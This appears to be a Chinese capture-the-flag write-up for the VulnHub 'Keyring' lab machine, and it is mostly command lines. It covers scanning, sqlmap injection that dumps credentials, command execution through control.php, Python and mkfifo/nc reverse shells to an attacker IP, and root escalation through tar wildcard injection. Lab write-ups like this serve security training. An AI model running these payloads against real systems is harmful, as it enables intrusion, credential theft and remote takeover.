靶机地址:https://www.vulnhub.com/entry/ia-keyring-101,718/
1、主机探活
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)
netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段)
nmap -sn 192.168.111.0/24
2、端口扫描
nmap -sS -A -sV -T4 -p- 192.168.56.108
22—ssh—OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80—http—Apache httpd 2.4.29 ((Ubuntu))
3、80端口分析
映入眼帘的是一个注册页面,那我们就随便注册个账号看看吧,填写test/test然后点击signup。显示注册成功,然后点击login进入登录界面输入刚才注册的账号
然后随便点点看看,在control处看到如下提示
HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name
HTTP参数污染(简称HPP)是一个容易发生的漏洞
由于传递了多个同名参数
4、ok得到了提示但是还不知道利用点在哪。遇事不决,目录扫描再说~
gobuster dir -u “http://192.168.56.108/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip,bak
一一尝试,访问/history.php发现是个空白页面,符合hpp的搜索隐藏信息的特点,我们猜测可能存在hpp漏洞
HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。
令人amazing的是登录用户访问history.php发现是个空白页面,而没登陆的时候访问/history.php出现以下提示
这确实有点像所谓的接口,但是直接在后面加上history.php?user=test,发现又没反应,登录了再访问发现才有结果显示。。
http://192.168.56.108/history.php?user=test
既然如此我们换成admin试试
http://192.168.56.108/history.php?user=admin
出现以下提示
Pages visited by user admin
https://github.com/cyberbot75/keyring
访问后发现是一个源码仓库,一一访问看看,当看到control.php源码的时候发现了
5、尝试命令执行,发现没有成功,应该是admin用户才能执行命令
http://192.168.56.108/control.php?cmdcntr=id
这时候想到:hpp漏洞一般用于sql和xss的waf绕过,既然我们有user参数,不妨尝试以下sql注入,直接用sqlmap跑一下
sqlmap -u “http://192.168.56.108/history.php?user=admin” --cookie=“PHPSESSID=e7gbkosbigmu9cfqjpr051o3fd” --dbs --batch
嗯哼,存在sql注入
sqlmap -u "http://192.168.56.108/history.php?user=admin" --cookie="PHPSESSID=e7gbkosbigmu9cfqjpr051o3fd" --batch -D users -T details --dump
得到管理员账号密码:admin | myadmin#p4szw0r4d
于此同时还得到了一个奇奇怪怪的用户,看起来应该是系统用户:john | Sup3r$S3cr3t$PasSW0RD
6、登录管理用账号尝试是否可以执行命令
成功执行命令
7、反弹shell(使用python反弹shell)
1、nc -lvnp 444
2、http://192.168.56.108/control.php?cmdcntr=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、切换交互书shell:python3 -c 'import pty;pty.spawn("/bin/bash")'
8、尝试提权
之前sql注入得到一个系统用户,尝试登录
su john
Sup3r$S3cr3t$PasSW0RD
在john的家目录发现一个文件compress而且它是以root权限运行的,看一下是什么文件
file compress
发现suid,把他下载下来看看内容
1、靶机开启http服务:python3 -m http.server
2、kali攻击机下载compress文件,查看文件内容
wget http://192.168.56.108:8000/compress
strings compress
思路:compress会执行tar程序,可以利用通配符注入来提权(详解在此:https://www.freebuf.com/articles/system/176255.html)
tar提权操作:
echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
id
成功得到root权限,完结散花~
还可以这样操作:
1、kali开启监听:nc -lvnp 4444
2、
echo "mkfifo /tmp/lhennp; nc 192.168.56.101 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
chmod +x shell.sh #赋予执行权限
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar * #这一步省略,因为在compress文件中就可以执行这个命令
./compress #进行root权限反弹
总结:
1、接口寻找–>HPP漏洞利用
2、信息收集寻找漏洞
3、通配符注入提权–>tar提权
参考:
https://www.cnblogs.com/sainet/p/15772346.html
https://blog.csdn.net/lionwerson/article/details/121755655
https://mp.weixin.qq.com/s/CMWB5VoZ6N7sIqVob-R_rQ